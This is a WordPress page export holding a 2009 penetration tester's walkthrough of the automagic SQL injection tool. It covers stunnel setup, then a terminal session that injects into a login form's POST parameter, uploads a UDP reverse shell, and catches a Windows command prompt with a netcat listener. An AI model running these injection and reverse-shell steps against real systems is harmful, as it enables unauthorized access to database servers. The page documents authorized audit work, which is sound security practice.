{"id":178,"date":"2009-06-04T10:46:20","date_gmt":"2009-06-04T16:46:20","guid":{"rendered":"http:\/\/www.jedge.com\/wordpress\/?page_id=178"},"modified":"2010-08-18T13:11:22","modified_gmt":"2010-08-18T19:11:22","slug":"automagic-sql-injection","status":"publish","type":"page","link":"https:\/\/www.jedge.com\/wordpress\/automagic-sql-injection\/","title":{"rendered":"Automagic:  SQL Injection"},"content":{"rendered":"<p>Automagic<\/p>\n<p>I have used automagic during an audit to enumerate tables and data from a backend database that was accessible from a SQL Injection vulnerability.  This tool was successful when the tool that comes with HP Webinspect was not.<\/p>\n<p>The description of automagic from the www.packetstormsecurity.org is as follows:<\/p>\n<p>The automagic SQL Injector is part of the Sec-1 Exploit Arsenal provided as part of the Applied Hacking &#038; Intrusion Prevention training courses. In a nutshell it&#8217;s an automated SQL injection tool designed to help save time on pen tests. It is only designed to work with vanilla Microsoft SQL injection holes where errors are returned.<\/p>\n<p>The comments from the perl script say that it should be used on a Windows system.  However, I had no problems using it on my Linux penetration testing laptop running Ubuntu 8.04.  The script does not support SSL which is a problem if the site you are auditing only communicates over port 443.  This is rectified by using stunnel to handle the SSL communications.  I\u2019m not a fan of stunnel version 4.  Below are the instructions on how I got stunnel version 3 running on my Ubuntu 8.04 system.  For complete instuctions on how I get all my tools installed on my system see my tutorial <a href=\"http:\/\/www.jedge.com\/docs\/Linux%20Penetration%20Testing%20Laptop%20Setup%20v2.pdf\">here<\/a>.<\/p>\n<p><kbd>#apt-get install libssl-dev zlib1g-dev<\/kbd> <\/p>\n<p>Download the latest stunnel version 3<br \/>\nhttp:\/\/www.stunnel.org\/download\/stunnel\/src\/stunnel-3.26.tar.gz<br \/>\n<kbd><br \/>\n#wget http:\/\/www.stunnel.org\/download\/stunnel\/src\/stunnel-3.26.tar.gz<br \/>\n#tar zxvf stunnel-3.26.tar.gz<br \/>\n#cd stunnel-3.26<br \/>\n#.\/configure --prefix=\/usr --bindir=\/usr\/bin --sbindir=\/usr\/bin<br \/>\n#make<br \/>\n#make install<br \/>\n<\/kbd><br \/>\nWhen asked enter the following information (or whatever you agency information is)<br \/>\nCountry Name (2 letter code) [PL]:US<br \/>\nState or Province Name (full name) [Some-State]:Georgia<br \/>\nLocality Name (eg, city) []:Atlanta<br \/>\nOrganization Name (eg, company) [Stunnel Developers Ltd]:DOAA<br \/>\nOrganizational Unit Name (eg, section) []:ISAAS<br \/>\nCommon Name (FQDN of your server) [localhost]:audits.state.ga.us <\/p>\n<p>Download automagic from www.packetstormsecurity.org<br \/>\n<kbd><br \/>\n#wget http:\/\/packetstormsecurity.org\/UNIX\/scanners\/automagic.zip<br \/>\n#unzip automagic.zip<br \/>\n<\/kbd><br \/>\nBelow is a simple demonstration of getting a reverse shell back to my laptop giving me access to the database server as a local administrator.<\/p>\n<p><pre><code>\nroot@edge-linuxpen:~\/automagic# stunnel3 -c -d localhost:80 -r state.govt.agency.us:443\nroot@edge-linuxpen:~\/automagic# perl injector.pl -h localhost -f \/APPLICATION\/Folder\/Authentication.asp -t POST -q YES\n\n[*] Welcome to the Sec-1 Automagical SQL injector [*]\n&nbsp;&nbsp;&nbsp;&nbsp;http:\/\/www.sec-1.com\n\n&nbsp;&nbsp;Author:&nbsp;&nbsp;Gary O&#039;leary-Steele\n&nbsp;&nbsp;Ver:&nbsp;&nbsp;0.1 Beta\n&nbsp;&nbsp;Date:&nbsp;&nbsp;7\/11\/05\n\n[!]&nbsp;&nbsp;Please enter the vulnerable POST string placing the keyword\n&nbsp;&nbsp;QUERYHERE within the vulnerable POST param.\n\nNote: A command line param -q YES|NO inserts a quote character \nbefore the injected SQL.However if there are any other requirements\nsuch as closing parentheses they should be added here.\n\n&nbsp;&nbsp;e.g Param:username=hello&amp;password=QUERYHERE\n\nPost Param:Submit=Submit&amp;Password=pwned&amp;Username=QUERYHERE\n\nPlease select one of the following:\n\n1.&nbsp;&nbsp;Explore Tables (Using CREATE table method)\n2.&nbsp;&nbsp;Explore Tables (Using CAST method)\n3.&nbsp;&nbsp;Upload and Execute A UDP Reverse Shell\n4.&nbsp;&nbsp;Upload A file (Debug Script)\n5.&nbsp;&nbsp;Interactive Shell\n6.&nbsp;&nbsp;Privilege Escalation Attacks\n7.&nbsp;&nbsp;Look for other SQL servers (coming soon)\n\nWhere do you want to go today?[1-6]:\nWhere do you want to go today?[1-6]:3\nEnter your IP address:192.168.0.1\nEnter you listener port:53\nUploading debug script file to localhost:80\nWaiting for Debug to do its work..5 seconds...\n4\nPlease select one of the following:\n\n1.&nbsp;&nbsp;Explore Tables (Using CREATE table method)\n2.&nbsp;&nbsp;Explore Tables (Using CAST method)\n3.&nbsp;&nbsp;Upload and Execute A UDP Reverse Shell\n4.&nbsp;&nbsp;Upload A file (Debug Script)\n5.&nbsp;&nbsp;Interactive Shell\n6.&nbsp;&nbsp;Privilege Escalation Attacks\n7.&nbsp;&nbsp;Look for other SQL servers (coming soon)\n\nWhere do you want to go today?[1-6]:\n<\/code><\/pre><br \/>\nOn my laptop I start NetCat to listen for the connection from the database server.<br \/>\n<pre><code>\nroot@edge-linuxpen:~\/automagic# nc -vvv -l -u -p 53\nlistening on [any] 53 ...\nconnect to [192.168.0.1] from externalhost.state.govt.agency.us [xxx.xxx.xxx.xxx] 48094\nMicrosoft Windows 2000 [Version 5.00.2195]\n(C) Copyright 1985-2000 Microsoft Corp.\n\nC:\\WINNT\\system32&gt;\n<\/code><\/pre><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Automagic I have used automagic during an audit to enumerate tables and data from a backend database that was accessible from a SQL Injection vulnerability. This tool was successful when the tool that comes with HP Webinspect was not. The description of automagic from the www.packetstormsecurity.org is as follows: The automagic SQL Injector is part [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"class_list":["post-178","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/pages\/178","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/comments?post=178"}],"version-history":[{"count":3,"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/pages\/178\/revisions"}],"predecessor-version":[{"id":258,"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/pages\/178\/revisions\/258"}],"wp:attachment":[{"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/media?parent=178"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}